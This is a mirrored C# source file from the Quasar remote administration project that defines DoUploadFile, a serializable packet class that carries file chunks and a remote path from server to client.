mirror of
https://github.com/quasar/Quasar.git
synced 2026-10-26 02:19:49 +08:00
37 lines
849 B
C#
37 lines
849 B
C#
using System;
|
|
using xServer.Core.Networking;
|
|
|
|
namespace xServer.Core.Packets.ServerPackets
|
|
{
|
|
[Serializable]
|
|
public class DoUploadFile : IPacket
|
|
{
|
|
public int ID { get; set; }
|
|
|
|
public string RemotePath { get; set; }
|
|
|
|
public byte[] Block { get; set; }
|
|
|
|
public int MaxBlocks { get; set; }
|
|
|
|
public int CurrentBlock { get; set; }
|
|
|
|
public DoUploadFile()
|
|
{
|
|
}
|
|
|
|
public DoUploadFile(int id, string remotepath, byte[] block, int maxblocks, int currentblock)
|
|
{
|
|
this.ID = id;
|
|
this.RemotePath = remotepath;
|
|
this.Block = block;
|
|
this.MaxBlocks = maxblocks;
|
|
this.CurrentBlock = currentblock;
|
|
}
|
|
|
|
public void Execute(Client client)
|
|
{
|
|
client.SendBlocking(this);
|
|
}
|
|
}
|
|
} |